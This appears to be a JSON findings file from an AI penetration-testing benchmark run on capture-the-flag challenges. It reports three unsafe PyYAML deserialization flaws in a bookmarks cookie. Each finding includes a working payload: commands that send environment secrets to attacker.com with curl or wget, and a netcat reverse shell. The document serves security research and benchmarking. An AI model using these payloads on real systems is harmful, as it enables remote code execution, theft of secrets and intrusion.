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trebuchet/xben-benchmark-results/XBEN-075-24/deliverables/injection_exploitation_queue.json
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ajmallesh ca5515c23c Add X-Bow benchmark results (104 test cases)
This commit adds comprehensive X-Bow (XBEN) benchmark results demonstrating Shannon's performance across 104 CTF security challenges. Each test case includes detailed penetration testing reports and exploitation evidence for reproducible research.

Contents:
- 104 XBEN test case directories (XBEN-001-24 through XBEN-104-24)
- Deliverables including analysis reports and exploitation evidence
- Individual test case results with vulnerability assessments

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-11-03 12:34:41 -08:00

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{
"vulnerabilities": [
{
"ID": "INJ-VULN-01",
"vulnerability_type": "CommandInjection",
"externally_exploitable": true,
"source": "bookmarks cookie, routes.py:36",
"combined_sources": "Single source: bookmarks cookie (base64-encoded YAML)",
"path": "Cookie read (line 36) → base64.b64decode() (line 36) → yaml.load() with unsafe Loader (line 38)",
"sink_call": "routes.py:38, yaml.load(urls, Loader=yaml.Loader)",
"slot_type": "CMD-part-of-string",
"sanitization_observed": "None",
"concat_occurrences": "None",
"verdict": "vulnerable",
"mismatch_reason": "Unsafe YAML deserialization using yaml.Loader on untrusted cookie data with zero validation. The unsafe loader allows arbitrary Python object instantiation via YAML tags like !!python/object/apply, enabling Remote Code Execution.",
"witness_payload": "!!python/object/apply:os.system [\"curl http://attacker.com?flag=$(env | grep FLAG)\"]",
"confidence": "high",
"notes": "This endpoint is auto-triggered on first visit to the application (via redirect from /). The vulnerability is identical in structure to INJ-VULN-02 and INJ-VULN-03. All three endpoints use the same vulnerable yaml.load() pattern with zero defensive measures. PyYAML 6.0 is used."
},
{
"ID": "INJ-VULN-02",
"vulnerability_type": "CommandInjection",
"externally_exploitable": true,
"source": "bookmarks cookie, routes.py:59",
"combined_sources": "Single source: bookmarks cookie (base64-encoded YAML)",
"path": "Cookie read (line 59) → base64.b64decode() (line 59) → yaml.load() with unsafe Loader (line 61)",
"sink_call": "routes.py:61, yaml.load(urls, Loader=yaml.Loader)",
"slot_type": "CMD-part-of-string",
"sanitization_observed": "None",
"concat_occurrences": "None",
"verdict": "vulnerable",
"mismatch_reason": "Unsafe YAML deserialization using yaml.Loader on untrusted cookie data with zero validation. The unsafe loader allows arbitrary Python object instantiation via YAML tags, enabling Remote Code Execution through Python deserialization gadgets.",
"witness_payload": "!!python/object/apply:subprocess.Popen [[\"bash\", \"-c\", \"wget http://attacker.com/$(cat /proc/self/environ | grep FLAG)\"]]",
"confidence": "high",
"notes": "This endpoint is triggered when a user attempts to add a new bookmark. The vulnerability is structurally identical to INJ-VULN-01 and INJ-VULN-03. No try/except wrapper exists around the deserialization call."
},
{
"ID": "INJ-VULN-03",
"vulnerability_type": "CommandInjection",
"externally_exploitable": true,
"source": "bookmarks cookie, routes.py:81",
"combined_sources": "Single source: bookmarks cookie (base64-encoded YAML)",
"path": "Cookie read (line 81) → base64.b64decode() (line 81) → yaml.load() with unsafe Loader (line 84)",
"sink_call": "routes.py:84, yaml.load(urls, Loader=yaml.Loader)",
"slot_type": "CMD-part-of-string",
"sanitization_observed": "None",
"concat_occurrences": "None",
"verdict": "vulnerable",
"mismatch_reason": "Unsafe YAML deserialization using yaml.Loader on untrusted cookie data with zero validation. The unsafe loader allows arbitrary Python object instantiation, enabling Remote Code Execution via Python object deserialization chains.",
"witness_payload": "!!python/object/new:os.system [\"nc attacker.com 4444 -e /bin/bash\"]",
"confidence": "high",
"notes": "This endpoint is triggered when a user deletes a bookmark. The vulnerability is structurally identical to INJ-VULN-01 and INJ-VULN-02. The delete operation uses GET method (CSRF vulnerable) but the command injection occurs before the delete logic executes."
}
]
}